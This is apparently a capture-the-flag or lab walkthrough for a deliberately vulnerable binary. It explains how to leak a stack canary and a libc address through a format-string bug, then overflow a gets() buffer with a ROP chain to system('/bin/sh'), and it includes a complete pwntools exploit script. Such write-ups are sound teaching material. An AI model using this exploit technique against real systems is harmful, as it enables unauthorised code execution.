

Level 3 - Stack Canary Bypass

Walkthrough & Exploit Development

1. Reconnaissance

Binary Info

```
$ file canary_bypass
ELF 64-bit LSB executable, x86-64, dynamically linked
```

checksec Output

```
$ checksec --file=canary_bypass
Arch:      amd64-64-little
RELRO:     No RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
```

Protections

Protection	Status	Impact
Stack Canary	ENABLED	Must leak/forge canary to overflow
NX	ENABLED	No shellcode on stack, need ROP
PIE	DISABLED	Binary addresses are fixed
RELRO	No RELRO	GOT is writable

2. Source Code Analysis

```
void vuln() {
    char buf[64];
    printf("Hier ist ein Hinweis: %p\n", buf);
    printf("Erste Eingabe (Format-String): ");
    fgets(buf, sizeof(buf), stdin);
    printf("Deine Eingabe: ");
    printf(buf); // FORMAT STRING BUG
    printf("\nZweite Eingabe (Overflow): ");
    gets(buf); // BUFFER OVERFLOW
}
```

Two Vulnerabilities

- Format String (printf(buf)) - Can leak arbitrary stack values
- Buffer Overflow (gets(buf)) - No bounds checking at all

3. Stack Layout Analysis

Disassembly Key Points

```

vuln:
  sub    $0x50,%rsp      ; allocate 0x50 (80) bytes
  mov    %rax,-0x8(%rbp)  ; canary stored at rbp-0x8
  ...
  lea    -0x50(%rbp),%rax ; buf at rbp-0x50

```

Stack Frame

```

+-----+
| return address | rbp + 0x08
+-----+
| saved rbp      | rbp + 0x00
+-----+
| canary (8B)    | rbp - 0x08
+-----+
| buf[64] (0x40) | rbp - 0x50 (buf start)
+-----+

```

Key Distances

- buf to canary = $0x50 - 0x08 = 72$ bytes (9 qwords)
- Total overflow to return addr = $72 + 8$ (canary) + 8 (rbp) = 88 bytes

4. Leak Canary via Format String

When `printf(buf)` is called, format specifiers read from the stack. Since `buf` itself is on the stack, we can reference stack values relative to it.

x86-64 Format String Argument Mapping

- %1-%5 -> registers (rsi, rdx, rcx, r8, r9)
- %6+ -> stack values (relative to stack pointer at call)

Finding the Right Offsets

`buf` is at `rbp-0x50`, canary is at `rbp-0x8`. Distance = $0x48 = 9$ qwords. With 6 register-based args, the canary sits at format arg %15 (= 6 + 9). The `libc` return address (from `__libc_start_main`) is at %19.

Leak Input

```
%15$p.%19$p
```

Example output: `0xa1b2c3d4e5f60700.0x7f8a9b62a1ca`

5. Computing Libc Base

The leaked return address has a fixed offset into `libc`. We find it by disassembling `libc`:

```

$ objdump -d /lib/x86_64-linux-gnu/libc.so.6
...
2a1c8: ff d0    call    *%rax    ; calls main()
2a1ca: 89 c7    mov     %eax,%edi ; <- return addr after main()
2a1cc: e8 ...   call    exit

```

The return address after `main()` is at offset `0x2a1ca`. So: `libc_base = leaked_ret - 0x2a1ca`

6. ROP Chain Construction

Payload Layout

```
+-----+
| padding (72B) | fill buf to canary
+-----+
| canary (8B)   | pass canary check
+-----+
| fake rbp (8B) | overwrite saved rbp
+-----+
| ret (8B)      | stack alignment gadget
+-----+
| pop rdi; ret (8B) | load /bin/sh pointer
+-----+
| &"/bin/sh" (8B) | argument for system()
+-----+
| system() (8B)  | call system
+-----+
```

Gadget Addresses (from libc)

```
pop rdi; ret -> 0x10f78b
ret          -> 0x2882f
system       -> libc.symbols['system']
/bin/sh      -> next(libc.search(b'/bin/sh'))
```

Why the extra ret?

Stack alignment. After `leave;ret`, the stack pointer must be 16-byte aligned when `system()` is entered (required by the System V ABI - some libc functions use `movaps` which faults on misaligned stacks).

7. Complete Exploit

```

from pwn import *

context.binary = './canary_bypass'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./canary_bypass')

# Step 1: Leak canary + libc return address
p.recvuntil(b'Erste Eingabe (Format-String): ')
p.sendline(b'%15$p.%19$p')
p.recvuntil(b'Deine Eingabe: ')
leaks = p.recvline().strip().split(b'.')
canary = int(leaks[0], 16)
libc_ret = int(leaks[1], 16)

# Step 2: Calculate libc base
LIBC_RET_OFF = 0x2a1ca
libc.address = libc_ret - LIBC_RET_OFF
POP_RDI = libc.address + 0x10f78b
RET = libc.address + 0x2882f
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))

log.success(f'Canary: {hex(canary)}')
log.success(f'libc base: {hex(libc.address)}')
log.success(f'system: {hex(system)}')
log.success(f'/bin/sh: {hex(binsh)}')

# Step 3: Overflow with canary + ROP chain
p.recvuntil(b'Zweite Eingabe (Overflow): ')

payload = b'A' * 72
payload += p64(canary)
payload += p64(0)
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()

```

8. Execution Flow

```

vuln() called
-> fgets() reads format string (safe, bounded)
-> printf(buf) leaks canary + libc addr <- VULN #1
-> gets(buf) reads overflow payload <- VULN #2
-> leave; ret
-> canary check PASSES (correct canary)
-> ret jumps to ROP chain:
    ret -> pop rdi -> system("/bin/sh")
-> SHELL

```

9. Key Takeaways

- Canary + NX does not mean game over - leak the canary to bypass it
- Format strings are powerful - leak any value on the stack
- One-shot > two-stage - if one leak gives enough, go direct
- Stack alignment matters - extra ret prevents movaps SIGSEGV
- Verify offsets with ROPgadget/objdump, not just pwntools asm+search